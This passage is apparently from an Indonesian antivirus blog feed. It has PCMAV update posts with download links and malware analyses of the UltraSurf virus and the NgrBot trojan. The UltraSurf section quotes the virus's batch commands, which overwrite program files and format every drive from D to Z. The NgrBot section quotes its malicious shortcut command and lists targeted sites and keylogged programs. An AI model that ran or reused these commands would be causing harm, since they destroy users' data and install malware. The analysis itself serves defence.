taskkill /f /im explorer.exe</code></blockquote>mengcopy file hostnya dan melakukan overwrite ke beberapa file seperti IDMan.exe, firefox.exe, explorer, explorer.exe<br /> <blockquote><code>xcopy ultrasurf.exe /h /r /c /y "C:\Program Files\Internet Download Manager\IDMan.exe"<br /> xcopy ultrasurf.exe /h /r /c /y "C:\Program Files\Mozilla Firefox\firefox.exe"<br /> xcopy ultrasurf.exe /h /r /c /y "C:\windows\explorer"<br /> xcopy ultrasurf.exe /h /r /c /y "C:\windows\explorer.exe"</code></blockquote>Memformat semua hard disk mulai dari drive D sampai Z.<br /> <blockquote><code>echo.<br /> Format D: /Q /X /y<br /> echo.<br /> Format E: /Q /X /y<br /> echo.<br /> Format F: /Q /X /y<br /> echo.<br /> Format G: /Q /X /y<br /> echo.<br /> Format H: /Q /X /y<br /> echo.<br /> Format I: /Q /X /y<br /> echo.<br /> Format J: /Q /X /y<br /> echo.<br /> Format K: /Q /X /y<br /> echo.<br /> Format L: /Q /X /y<br /> echo.<br /> Format M: /Q /X /y<br /> echo.<br /> Format N: /Q /X /y<br /> echo.<br /> Format 0: /Q /X /y<br /> echo.<br /> Format P: /Q /X /y<br /> echo.<br /> Format Q: /Q /X /y<br /> echo.<br /> Format R: /Q /X /y<br /> echo.<br /> Format S: /Q /X /y<br /> echo.<br /> Format T: /Q /X /y<br /> echo.<br /> Format U: /Q /X /y<br /> echo.<br /> Format V: /Q /X /y<br /> echo.<br /> Format W: /Q /X /y<br /> echo.<br /> Format X: /Q /X /y<br /> echo.<br /> Format Y: /Q /X /y<br /> echo.<br /> Format Z: /Q /X /y</code></blockquote>Dan yang terakhir adalah melakukan proses shuting down<br /> <blockquote><code>start shutdown.exe -f -t 0 –s</code></blockquote>Meskipun tidak membuat host untuk dijadikan startup, UltraSurf memanfaatkan user yang tidak tidak tahu bahwa file firefox.exe sudah di hapus dan digantikan dengan host UltraSurf. Selain itu IDMan.exe adalah salah satu file dari software Internet Download Manager yang di jalankan saat startup, jadi UltraSurf yang sudah mengganti file IDMan.exe dengan host buatannya akan berjalan saat startup.<br /> <br /> <b>E. Pembersihan</b><br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"><img alt="UltraSurf" src="http://virusindonesia.com/wp-content/uploads/2011/07/ultrasurf/5.pcmav.PNG" /></div><br /> <b>PCMAV 5.4 Update Build1</b><br /> <br /> Untuk membasmi virus ini ataupun varian virus lainnya, PCMAV 5.4 Update Build1 telah hadir dengan penambahan <b>29 </b> pengenal varian virus baru. Bagi Anda pengguna PCMAV 5.4, sangat disarankan segera melakukan <i>update</i>, agar PCMAV Anda dapat mengenali dan membasmi virus lebih banyak lagi.<br /> <br /> Untuk mendapatkan dan menggunakan update PCMAV ini, Anda cukup menjalankan PCMAV.exe, komputer harus dalam keadaan aktif terhubung ke Internet. Jika koneksi Internet menggunakan <i>proxy</i>, tentukan konfigurasi proxy pada file proxy.txt . Fitur Automatic Updates dari PCMAV akan secara otomatis men-download dan meng-update database dari PCMAV. Anda juga dapat mengupdate kapan saja dengan klik kanan icon PCMAV pada system tray dan pilih <i>Update</i>.<br /> <br /> Bagi Anda yang ingin mendapatkan file update tersebut secara manual, Anda bisa men-download file-nya melalui beberapa link dibawah ini:<br /> <br /> Letakkan file hasil download tersebut (update.vdb) ke dalam folder \vdb. Jika sebelumnya telah terdapat file update yang lama, Anda cukup <b>menimpanya</b>. Pastikan sekali lagi, bahwa nama file update adalah update.vdb, jika berbeda, cukup ubah namanya. Dan nanti saat Anda kembali menjalankan PCMAV, ia sudah dalam keadaan kondisi ter-update.<br /> <br /> <b>Daftar tambahan virus hingga PCMAV 5.4 Update Build1 :</b><br /> <br /> Fandi.vbs.C<br /> Fandi.vbs.C.inf<br /> NgrBot<br /> NgrBot.bat<br /> NgrBot.dat<br /> NgrBot.drp.A<br /> NgrBot.drp.B<br /> NgrBot.exe.A<br /> NgrBot.exe.B<br /> NgrBot.inf<br /> NgrBot.lnk<br /> Pluto.C<br /> Pluto.C.drp<br /> Pluto.C.htm<br /> Redlof.vbs.B<br /> Redlof.vbs.B.drp<br /> Redlof.vbs.B.inf<br /> RezaTera.B<br /> RezaTera.B.drp<br /> RezaTera.B.url<br /> Rieysha-Jogja.E<br /> Rieysha-Jogja.E.hosts<br /> Rieysha-Jogja.E.vbs<br /> UltraSurf.A<br /> UltraSurf.A.bat<br /> UltraSurf.B<br /> UltraSurf.C<br /> UltraSurf.D<br /> UltraSurf.D.bat<br /> <br /> <br /> <span style="font-size: small;">PCMAV </span>5.4 Update Build1 telah tersedia dengan penambahan 29 database virus baru yang telah berhasil ditambahkan pada update build kali ini. Update PCMAV dapat dilakukan secara otomatis dengan memilih “Update” pada menu klik kanan icon PCMAV di system tray, ini salah satu fitur yang telah berhasil ditambahkan pada rilis PCMAV 5.4 Jika Anda ingin mendownload update build secara manual dapat melalui link dibawah ini.<br /> <br /> <br /> (Keterangan Lengkap Lihat Gambar Di Bawah) .........<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPdZDm75jF5JDiW09fBBVOGeozCVFzxotq_9tcKOdpxROE6GOzNFE_4VjEf7ofGmaiprJTWC2Eoxemdm3p5MIuZbNY0OoLm4BnYAA3AzBXJq9JUT-FgcqJGfTPwkJ3p4zkyn-4BRu7LwjF/s1600/1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPdZDm75jF5JDiW09fBBVOGeozCVFzxotq_9tcKOdpxROE6GOzNFE_4VjEf7ofGmaiprJTWC2Eoxemdm3p5MIuZbNY0OoLm4BnYAA3AzBXJq9JUT-FgcqJGfTPwkJ3p4zkyn-4BRu7LwjF/s1600/1.JPG" /></a></div><br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqaPTGnq6VeC4GWjDmChagNGgFzxwMzkaHkcrdng6jYESJef-J3CW2zqGX5zk-P0h-mtnkTfb3ZX4KHhXW90VF-WVPm3Q1GEZZtSeMFFlFp05zPtJe3lbuFWLyZlvwNSkqtauticbmh0-u/s1600/2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqaPTGnq6VeC4GWjDmChagNGgFzxwMzkaHkcrdng6jYESJef-J3CW2zqGX5zk-P0h-mtnkTfb3ZX4KHhXW90VF-WVPm3Q1GEZZtSeMFFlFp05zPtJe3lbuFWLyZlvwNSkqtauticbmh0-u/s1600/2.JPG" /></a></div></div><br /> <br /> <div style="text-align: center;"><span style="font-size: 180%; font-weight: bold;">&gt;&gt;&gt; Selamat Mencoba &lt;&lt;&lt;</span></div><br /> <div style="text-align: left;"><br /> </div><span style="color: #ff6666; font-weight: bold;">Note (Penting) :</span> <br /> <ol><li><span style="color: #ff6666; font-weight: bold;">Setelah&nbsp; Download PCMAV 5.3 Valhalla extraks terlebih dahulu kemudian copy/cut seluruh </span><b>Isi Yang Terdapat Dalam Folder</b><span style="color: lime; font-size: small;"> </span><span style="color: #ff6666; font-weight: bold;">ekstrakan tersebut kedalam folder PCMAV sebelumnya (PCMAV 5.1 Valhalla), jika belum memiliki </span><span style="color: #ff6666; font-weight: bold;">PCMAV 5.2 Valhalla silahkan Download disini </span><a href="http://ekodomba.blogspot.com/2011/07/pcmav-53-valhalla.html"><b>PCMAV 5.3</b></a></li> <li><span style="color: #ff6666; font-weight: bold;">no.2 (</span><span style="color: #cc0000; font-weight: bold;">Hanya update (.vdb) Build1)</span><span style="color: #ff6666; font-weight: bold;"><span style="color: #cc0000;"> </span>di Extract dahulu setelah itu dimasukan dalam folder PCMAV 5.4 Valhalla/vdb</span></li> </ol><br /> <br /> <div style="color: red;"><span style="font-size: large;"><b><i>Download Here</i></b></span></div><br /> <b style="color: #cc0000; font-weight: bold;">1. Hanya PCMAV </b><span style="color: #cc0000; font-weight: bold;"><b>5</b>.3 Valhalla </span><span style="font-weight: bold;"><span style="color: #cc0000;">:</span></span> <br /> <div class="main"><span style="font-weight: bold;"> Link 1 = <a href="http://www.blogger.com/goog_1366011901"> </a></span><a href="http://www.ziddu.com/download/16175078/PCMAV5.4Valhallaekodomba.blogspot.rar.html"><span style="font-weight: bold;">PCMAV 5.4</span></a><br /> <span style="font-weight: bold;">Link 2 = </span><a href="http://www.4shared.com/file/zA3TEHTm/PCMAV_54_Valhalla__ekodombablo.html"><b>PCMAV 5.4</b></a> <br /> <br /> <span style="color: #cc0000; font-weight: bold;">2. </span><span style="color: #cc0000; font-weight: bold;">Hanya update (.vdb) Build1 :</span> <br /> <span style="font-weight: bold;"> Link 1 = </span><a href="http://www.ziddu.com/download/16175149/vdbBuild1.rar.html"><span style="font-size: 100%;"><b>Update Build 1</b></span></a><br /> <span style="font-weight: bold;">Link 2 =</span><span style="color: #33cc00; font-weight: bold;"><span style="color: black; font-weight: bold;"> </span></span><a href="http://www.4shared.com/file/qObO4hmZ/vdb__Build1__8.html"><span style="font-size: 100%;"><b>Update Build 1</b></span></a><span style="font-size: 100%;"><b></b></span></div></div></div></div></div>0PCMAV 5.4 Valhallahttp://ekodomba.blogspot.com/2011/08/pcmav-54-valhalla.htmlAnti VirusPCMAVnoreply@blogger.com (Unknown)Thu, 25 Aug 2011 16:26:00 +0700tag:blogger.com,1999:blog-887853086853221447.post-6570999674369908750<div class="MsoNormal" style="line-height: normal; text-align: center;"><a href="http://ekodomba.blogspot.com/2011/08/pcmav-54-valhalla.html"><span style="font-size: large;"><b><span style="font-weight: bold;">PCMAV 5.4 Valhalla</span></b></span></a></div><br /> <br /> <div style="text-align: justify;">Download PCMAV 5.4 telah disediakan bersamaan dengan peluncuran Majalah PC Media 08/2011 &amp; PCMAV 5.4 yang sudah lama dinanti pembaca setia PC Media tentunya. Kali ini PCMAV 5.4 telah dilengkapi dengan penambahan database pengenal dan pembersih&nbsp; 116 virus lokal/asing/varian baru yang banyak menyebar di Indonesia. Total database pada PCMAV 5.4 sebanyak Total 4.466 virus beserta variannya.</div><div style="text-align: justify;"><br /> </div><div style="text-align: justify;">Seperti biasa, kami mengingatkan kepada Anda untuk membaca terlebih dahulu README.txt yang disertakan bersama PCMAV 5.4 sebelum menggunakannya.</div><a name='more'></a><br /> <div style="color: red;"><b>Bagaimana cara mendapatkan dan menggunakan PCMAV 5.4 Valhalla ?</b></div><br /> Salin paket PCMAV 5.4 dari PC Media Edisin 08/2011ke dalam harddisk sehingga Anda mendapatkan PCMAV 5.4 yang siap digunakan.<br /> <br /> Bagi Anda yang berada di wilayah tak terjangkau distribusi majalah PC Media atau karena suatu hal tidak dapat menggunakan paket PCMAV yang disertakan dalam DVD PC Media namun anda sangat membutuhkannya, silahkan <b>download PCMAV 5.4</b> dari link dibawah artikel ini.<br /> <div style="text-align: justify;"><br /> </div><b>APA YANG BARU?/CHANGE-LOG</b><br /> <br /> <ol><li>UPDATED! Ditambahkan database pengenal dan pembersih 116 virus lokal/asing/varian baru yang dilaporkan menyebar di Indonesia. Total 4466 virus beserta variannya.</li> <li>ADDED! Removal engine khusus untuk membersihkan secara tuntas virus Ramnit.L, Ramnit.M, dan OjanBlank.B yang menyebar luas di Indonesia.</li> <li>ADDED! Removal engine khusus untuk memulihkan file JPEG yang terinfeksi virus Parents.</li> <li>FIXED! Perbaikan dalam membuka dokumen Office pada removable disk apabila opsi Block Program On USB/Card tidak diaktifkan.</li> <li>IMPROVED! Perubahan nama virus mengikuti varian baru yang ditemukan.</li> <li>IMPROVED! Perbaikan beberapa minor bug dan improvisasi kode internal untuk memastikan bahwa PCMAV tetap menjadi antivirus kebanggaan Indonesia.</li> </ol><br /> Keterangan Lengkap Lihat Gambar Di Bawah) .........<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: center; width: 450px;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbVPtNow0BQhW6Pp9f7VDV4DTnTOmQcvrUv6Y5yHNHCYTGPLCOkpaacwTO7BZVmw7J5u4rto4xoomi35MEKkC4nvDsKUbJ9tDUN8J6FeoJtt1y4fq7yoH3p_s3t0hvQXTgymmwQbq2zjl-/s1600/1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbVPtNow0BQhW6Pp9f7VDV4DTnTOmQcvrUv6Y5yHNHCYTGPLCOkpaacwTO7BZVmw7J5u4rto4xoomi35MEKkC4nvDsKUbJ9tDUN8J6FeoJtt1y4fq7yoH3p_s3t0hvQXTgymmwQbq2zjl-/s1600/1.JPG" /></a></div><br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdWUG5h5j9P9xLI28Xq8O66yenbpl7r28bHNjLrVbqAY8ddqVrfuDLQ9AI4-IFaqD58S0JAk9V5UFuiT2Oq8uQkY46qHHdiaM8igG_BbIfnSlPEMPN4FdYjJG7kjpo4BU_uawekUEM6pMo/s1600/2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdWUG5h5j9P9xLI28Xq8O66yenbpl7r28bHNjLrVbqAY8ddqVrfuDLQ9AI4-IFaqD58S0JAk9V5UFuiT2Oq8uQkY46qHHdiaM8igG_BbIfnSlPEMPN4FdYjJG7kjpo4BU_uawekUEM6pMo/s1600/2.JPG" /></a></div></div><br /> <br /> <div style="text-align: center;"><span style="font-size: 180%; font-weight: bold;">&gt;&gt;&gt; Selamat Mencoba &lt;&lt;&lt;</span> <br /> <div style="text-align: left;"><br /> </div></div><span style="color: #ff6666; font-weight: bold;">Note (Penting) :</span> <br /> <ol><li><span style="color: #ff6666; font-weight: bold;">Setelah&nbsp; Download PCMAV 5.3 Valhalla extraks terlebih dahulu kemudian copy/cut seluruh </span><b>Isi Yang Terdapat Dalam Folder</b><span style="color: lime; font-size: small;"> </span><span style="color: #ff6666; font-weight: bold;">ekstrakan tersebut kedalam folder PCMAV sebelumnya (PCMAV 5.1 Valhalla), jika belum memiliki </span><span style="color: #ff6666; font-weight: bold;">PCMAV 5.2 Valhalla silahkan Download disini </span><a href="http://ekodomba.blogspot.com/2011/07/pcmav-53-valhalla.html"><b>PCMAV 5.3</b></a></li> <li><span style="color: #ff6666; font-weight: bold;">no.2 (</span><span style="color: #cc0000; font-weight: bold;">Hanya update (.vdb) Build1)</span><span style="color: #ff6666; font-weight: bold;"><span style="color: #cc0000;"> </span>di Extract dahulu setelah itu dimasukan dalam folder PCMAV 5.4 Valhalla/vdb</span></li> </ol><br /> <br /> <div style="color: red;"><span style="font-size: large;"><b><i>Download Here</i></b></span></div><br /> <b style="color: #cc0000; font-weight: bold;">1. Hanya PCMAV </b><span style="color: #cc0000; font-weight: bold;"><b>5</b>.3 Valhalla </span><span style="font-weight: bold;"><span style="color: #cc0000;">:</span></span> <br /> <div class="main"><span style="font-weight: bold;"> Link 1 = <a href="http://www.blogger.com/goog_1366011901"> </a></span><a href="http://www.ziddu.com/download/16175078/PCMAV5.4Valhallaekodomba.blogspot.rar.html"><span style="font-weight: bold;">PCMAV 5.4</span></a><br /> <span style="font-weight: bold;">Link 2 = </span><a href="http://www.4shared.com/file/zA3TEHTm/PCMAV_54_Valhalla__ekodombablo.html"><b>PCMAV 5.4</b></a> <br /> <br /> <span style="color: #cc0000; font-weight: bold;">2. </span><span style="color: #cc0000; font-weight: bold;">Hanya update (.vdb) Build1 :</span> <br /> <span style="font-weight: bold;"> Link 1 = </span><span style="font-size: 100%;"><b>Update Build 1 (Menunggu)</b></span><span style="font-weight: bold;"><br /> Link 2 =</span><span style="color: #33cc00; font-weight: bold;"><span style="color: black; font-weight: bold;"> </span></span><span style="font-size: 100%;"><b>Update Build 1 </b></span><span style="font-size: 100%;"><b>(Menunggu)</b></span></div>0PCMAV Express for NgrBothttp://ekodomba.blogspot.com/2011/08/pcmav-express-for-ngrbot.htmlAnti VirusPCMAVnoreply@blogger.com (Unknown)Thu, 25 Aug 2011 15:39:00 +0700tag:blogger.com,1999:blog-887853086853221447.post-6461988854876032840<div style="text-align: center;"><a href="http://ekodomba.blogspot.com/2011/07/pcmav-express-for-ramnit.html"><span style="font-size: large;"><b>PCMAV Express</b></span></a></div><div style="text-align: center;"><a href="http://virusindonesia.com/2011/08/09/pcmav-express-for-ngrbot/"><span style="font-size: small;"><b>PCMAV Express for NgrBot</b></span></a></div><br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 340px; overflow: auto; text-align: left; width: 450px;"><img alt="NgrBot" src="http://virusindonesia.com/wp-content/uploads/2011/07/NgrBotKiller.png" /></div><br /> Malware canggih dengan kemampuan <i>rootkit</i> terus bermunculan. <b>NgrBot</b> adalah contoh terbaru <i>trojan</i> yang mampu mencuri data identitas/password Anda saat berselancar di Internet.<br /> <br /> <a name='more'></a><br /> <br /> Media penyebaran NgrBot cukup luas, ia dapat menginfeksi komputer melalui <i>shortcut</i> dan <i>autorun.inf</i> yang dibuat pada flashdisk yang terinfeksi, juga menyebar melalui link jejaring sosial maupun chat pada client messenger. Setelah aktif,&nbsp; ia akan memblok sejumlah website antivirus dan melakukan koneksi ke web-web tertentu, karena itu sangat disarankan Anda memutuskan terlebih dahulu koneksi Internet sebelum melakukan pembersihan.<br /> <br /> <span id="more-1815"></span><br /> Nama NgrBot sendiri diambil dari string yang terdapat pada tubuh malware yang telah di-<i>decrypt</i>, trojan ini <i>stealth</i> di memory, dan juga melindungi filenya dengan melakukan<i> hook</i> API function tertentu sehingga file tersebut tidak terlihat oleh pengguna.<br /> <br /> Pembahasan lebih lanjut telah dibahas pada link <a href="http://virusindonesia.com/2011/08/09/ngrbot-trojan-pengambil-identitaspassword/">http://virusindonesia.com/2011/08/09/ngrbot-trojan-pengambil-identitaspassword/</a>.<br /> <br /> <b>PCMAV Express for NgrBot</b> dibuat untuk membersihkan NgrBot yang <i>in-the-wild</i>, menghentikan proses NgrBot di memory komputer yang terinfeksi, melakukan unhook API function dan mendeteksi serta menghapus file NgrBot yang tersembunyi.<br /> <br /> <b>Aturan Penggunaan:</b><br /> <ol><li>Jalankan PCMAV for NgrBot.</li> <li>Pastikan user Anda memiliki hak setara Administrator.</li> <li>Nonaktifkan fungsi Autorun (link referensi: <a href="http://support.microsoft.com/kb/967715">http://support.microsoft.com/kb/967715</a>).</li> <li>Pasang flashdisk yang terinfeksi pada komputer agar ikut dibersihkan oleh PCMAV Express for NgrBot.</li> <li>Pastikan komputer Anda *tidak* terkoneksi ke jaringan atau Internet selama proses scan.</li> <li>Setelah selesai, sangat disarankan untuk melakukan restart dan scan ulang (jika perlu).</li> <li>Pastikan seluruh PC yang telah terhubung di dalam jaringan juga telah bebas NgrBot, sebelum PC Anda kembali terkoneksi ke jaringan.</li> </ol>Secara regular <i>engine</i> utama PCMAV akan di-update mengikuti perkembangan NgrBot.<br /> <br /> Pada halaman ini kami juga menyediakan PCMAV Express for NgrBot untuk di-download pada link dibawah ini (link dapat berubah jika ada update baru).<br /> <br /> <b>Last Update (22-08-2011)</b>:<br /> <br /> Total 6 varian NgrBot yang sudah bisa dibasmi menggunakan PCMAV Express for NgrBot:<br /> - NgrBot.A<br /> - NgrBot.B<br /> - NgrBot.C<br /> - NgrBot.D<br /> - NgrBot.E<br /> - NgrBot.F<br /> <b><a href="http://www.sendspace.com/file/2ksdn3"><br /> </a></b><br /> <br /> <div style="color: red;"><span style="font-size: large;"><b><i>Download Here</i></b></span></div><div style="color: #cc0000;"><br /> </div><div style="color: #cc0000;"><b>PCMAV Express for NgrBot</b><span style="font-weight: bold;"> :</span> </div><div class="main"><b><span style="font-weight: bold;"> Link 1 =&nbsp;</span><a href="http://www.ziddu.com/download/16174210/PCMAVExpressforNgrBot.rar.html">PCMAV Express for NgrBot </a></b><br /> <b><span style="font-weight: bold;">Link 2 =<a href="http://www.blogger.com/goog_1116629762"> </a></span><a href="http://www.blogger.com/goog_1116629762">PCMAV Express for </a></b><a href="http://www.4shared.com/file/tl1oa3fL/PCMAV_Express_for_NgrBot.html"><b>NgrBot</b></a></div>0Build 2http://ekodomba.blogspot.com/2011/07/build-2.htmlAnti VirusPCMAVnoreply@blogger.com (Unknown)Thu, 21 Jul 2011 14:14:00 +0700tag:blogger.com,1999:blog-887853086853221447.post-4134873927026422312<div class="info"><div style="text-align: left;"><div style="text-align: center;"><a href="http://ekodomba.blogspot.com/2011/07/build-2.html"><b><span style="font-size: large;"><span style="font-weight: bold;">PCMAV 5.3 Valhalla + Build2</span>&nbsp;</span></b></a><br /> <a href="http://virusindonesia.com/2011/08/09/ngrbot-trojan-pengambil-identitaspassword/"><b><span style="font-size: large;">NgrBot: Trojan Pengambil Identitas/Password</span></b></a></div><b><span style="font-size: large;"> </span></b><br /> <div class="info"><span class="date"><br /> </span><span class="comments"><a href="http://virusindonesia.com/2011/08/09/ngrbot-trojan-pengambil-identitaspassword/#comments"></a></span> </div><div class="info"><span class="date"><br /> </span><span class="comments"><a href="http://virusindonesia.com/2011/08/09/ngrbot-trojan-pengambil-identitaspassword/#comments"></a></span> </div><div class="content"><div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"><img alt="NgrBot" src="http://virusindonesia.com/wp-content/uploads/2011/07/ngrbot/1.ngrbot.PNG" /></div><br /> <b>NgrBot</b>. Selain Ramnit yang memiliki kemampuan rootkit canggih dan mampu menyebar serta menginfeksi dengan cepat, kini telah hadir pendatang baru yang mampu membuat user berpikir dua kali untuk mengetikkan ID pribadi seperti, <i>e-mail</i>, <i>username</i> dan <i>password</i>. NgrBot, malware tipe trojan yang mampu menyebar cepat seperti worm karena memanfaatkan shortcut yang sedikit berbeda dari shortcut pada umumnya.<br /> <span id="more-1772"></span><br /> <br /> <a name='more'></a><br /> <br /> <b>A. Info File</b><br /> Nama Worm : NgrBot<br /> Asal : UnKnown<br /> Ukuran File : 316 KB<br /> Packer : ~<br /> Pemrograman : Microsoft Visual C++<br /> Icon : Random<br /> Tipe : Trojan, Worm<br /> <br /> <b>B. About Malware</b><br /> NgrBot yang meyebar di indonesia, menyamar dengan icon berbentuk huruf-huruf dan terkesan tidak berbahaya.<br /> <br /> <img alt="NgrBot" src="http://virusindonesia.com/wp-content/uploads/2011/07/ngrbot/2.ngrbot.PNG" /><br /> <br /> Dibuat menggunakan bahasa pemrograman C++, dan ukuran sebenarnya adalah 316 KB. Kemampuan lain dari NgrBot adalah dia tidak dapat terlihat di memory atau bisa dikategorikan rootkit. Untuk melindungi dirinya, NgrBot melakukan teknik hooking pada beberapa API function. Namun, worm ini tidak aktif jika user sedang berada dalam <i>safe mode.</i><br /> <br /> Yang membuat malware ini menjadi sangat berbahaya ialah kemampuan NgrBot dalam mencuri data user, baik itu ID atau akun pribadi berupa email password dari website tertentu, akan otomatis di kirimkan oleh malware. Akun website yang diincar antara lain adalah:<br /> <i><br /> </i> 1. Web Hosting &amp; Domain<br /> - dotster<br /> - 1and1.com<br /> - enom.com<br /> - moniker.com<br /> - namecheap.com<br /> - godaddy.com<br /> - sms4file.com<br /> - dyndns.com<br /> <br /> 2. Online Payment<br /> - alertpay.com<br /> - paypal.com<br /> <br /> 3. E Commerce<br /> - netflix.com<br /> - thepiratebay.org<br /> - ebay.com<br /> <br /> 4. Hacking<br /> - torrentleech.org<br /> - hackforums.com<br /> <br /> 5. Premium Account<br /> - vip-file.com<br /> - what.cd<br /> - loginid.com<br /> - secure.logmein.com<br /> <br /> 6. FileHosting<br /> - letitbit.net<br /> - oron.com<br /> - filesonic.com<br /> - speedyshare.com<br /> - uploaded.to.com<br /> - uploading.com<br /> - fileserve.com<br /> - hotfile.com<br /> - 4shared.com<br /> - netload.in.com<br /> - freakshare.com<br /> - mediafire.com<br /> - sendspace.com<br /> - megaupload.com<br /> - depositfiles.com<br /> <br /> 7. Internet Banking<br /> - officebanking.cl.com<br /> - moneybookers.com<br /> - bcointernacional.com<br /> <br /> 8. Game<br /> - runescape.com<br /> - steampowered.com<br /> <br /> 9. Social Networking<br /> - twitter.com<br /> - facebook.com<br /> - bebo.com<br /> - friendster.com<br /> - vkontakte.ru<br /> <br /> 10. WebMail<br /> - yahoo.com<br /> - mail.live.com<br /> - gmx.com<br /> - Gmail.com<br /> - fastmail.com<br /> - bigstring.com<br /> - screenname.aol.com<br /> <br /> 11. WebPorn<br /> - IKnowThatGirl.com<br /> - YouPorn.com<br /> - Brazzers.com<br /> <br /> 12. Etc<br /> - YouTube.com<br /> <br /> Merekam segala bentuk aktivitas keyboard pada aplikasi berikut ini:<br /> - pidgin.exe<br /> - wlcomm.exe<br /> - msnmsgr.exe<br /> - msmsgs.exe<br /> - flock.exe<br /> - opera.exe<br /> - chrome.exe<br /> - ieuser.exe<br /> - iexplore.exe<br /> - firefox.exe<br /> <br /> <b>C. Companion/File yang dibuat</b><br /> NgrBot memiliki 10 Companion yang selalu sama. Berikut adalah penjelasan mengenai companion tersebut.<br /> <br /> <b>1. NgrBot</b><br /> Host NgrBot yang berada di folder <i>Application Data</i> dengan nama acak dan ekstensi (.exe / .tmp). Selain itu, NgrBot juga bersembunyi di balik folder RECYCLER yang di buatnya setelah<i> removable disk</i> terhubung dengan komputer yang terinfeksi.<br /> <br /> <b>2. NgrBot.drp.A</b><br /> <br /> <img alt="NgrBot" src="http://virusindonesia.com/wp-content/uploads/2011/07/ngrbot/3.ngrbot.PNG" /><br /> <br /> Salah satu droper dari NgrBot yang berada di folder startup yang mengekstrak NgrBot.exe.A dan NgrBot.bat.<br /> <br /> <b>3. NgrBot.drp.B</b><br /> Variant lain darin NgrBot.drp yang terdapat pada folder Application Data yang memiliki fungsi sama seperti NgrBot.drp.A.<br /> <br /> <b>4. NgrBot.lnk</b><br /> <br /> <img alt="NgrBot" src="http://virusindonesia.com/wp-content/uploads/2011/07/ngrbot/4.ngrbot.PNG" /><br /> <br /> Sedikit perbedaan dengan shortcut yang lain adalah, NgrBot menambahkan parameter lain pada shortcutnya.<br /> Contohnya:<br /> <br /> <code>%windir%\system32\cmd.exe /c "start %cd%RECYCLER\bcd8f464.exe &amp;&amp;%windir%\explorer.exe %cd%Removal</code><br /> • <b>%windir%\system32\cmd.exe /c “start</b> = memanggil command prompt dengan menambahkan parameter “/c” yang di maksudkan agar setelah mengeksekusi file, akan otomatis menutup command prompt. Selain itu, ada juga “start yang dimaksudkan untuk memulai eksekusi file.<br /> • <b>%cd%</b> = parameter untuk mengakses sebuah folder.<br /> • <b>RECYCLER\bcd8f464.exe</b> = Dalam hal ini, folder yang di akses adalah folder RECYCLER yang di dalamnya terdapat host virus dengan nama “bcd8f464.exe”<br /> • <b>%windir%\explorer.exe</b> = Memanggil Explorer.exe untuk membuka folder yang namanya sesuai dengan nama shortcut yang di jalankan agar mengesankan bahwa shortcut tersebut memang benar-benar folder seperti biasa.<br /> • <b>Removal</b> = contoh nama folder.<br /> <br /> <b>5. NgrBot.bat</b><br /> Salah satu companion dari NgrBot yang berfungsi untuk mengeksekusi dan memberikan parameter khusus terhadap NgrBot.exe.A.<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 220px; overflow: auto; text-align: left; width: 450px;"><img alt="NgrBot" src="http://virusindonesia.com/wp-content/uploads/2011/07/ngrbot/5.ngrbot.PNG" /></div><br /> <b>6. NgrBot.exe.A</b><br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 230px; overflow: auto; text-align: left; width: 450px;"><img alt="NgrBot" src="http://virusindonesia.com/wp-content/uploads/2011/07/ngrbot/6.ngrbot.PNG" /></div><br /> Companion NgrBot yang di eksekusi oleh NgrBot.bat dan berada di path yang sama, yaitu pada folder temporary (temp).<br /> <br /> <b>7. NgrBot.dat</b><br /> <br /> <img alt="NgrBot" src="http://virusindonesia.com/wp-content/uploads/2011/07/ngrbot/7.ngrbot.PNG" /><br /> <br /> Companion yang seluruh isi tubuhnya hanyalah karakter acak dan biasanya terdapat di folder system32 atau bisa juga di folder Documents and Settings.<br /> <br /> <b>8. NgrBot.exe.B</b><br /> NgrBot.exe.B selalu berada di folder User Profile. Membuat value key baru pada registry dengan nama –“u” agar bisa berjalan saat startup.<br /> <br /> <b>9. NgrBot.inf</b><br /> <br /> <img alt="NgrBot" src="http://virusindonesia.com/wp-content/uploads/2011/07/ngrbot/8.ngrbot.PNG" /><br /> <br /> Sudah menjadi teknik malware saat ini yang mengunakan <i>autorun.inf</i> sebagai salah satu companion yang dapat membantu dalam menjalankan malware, begitu pula NgrBot yang membuat Autorun.inf, sama halnya dengan beberapa worm lain yang baru-baru ini menyebar,&nbsp; autorun.infnya selalu ditambahkan dengan karakter acak.<br /> <br /> <b>10. NgrBot.mem</b><br /> <br /> <img alt="NgrBot" src="http://virusindonesia.com/wp-content/uploads/2011/07/ngrbot/9.ngrbot.PNG" /><br /> <br /> Thread yang berada di memory dan tidak dapat dideteksi dengan teknik pendeteksian biasa karena merupakan thread yang tersembunyi dengan teknik rootkit, juga menggunakan teknik hooking sambil memantau aktivitas user dan terus menyebarkan companion setiap kali removable disk terkoneksi dengan komputer.<br /> <br /> <b>D. Hasil Infeksi</b><br /> Seperti yang sudah di jelaskan di atas jika dilihat berdasarkan kemampuan yang dimiliki NgrBot, berikut ini adalah klasifikasinya.<br /> <i>NgrBot dengan kemampuan Worm</i> 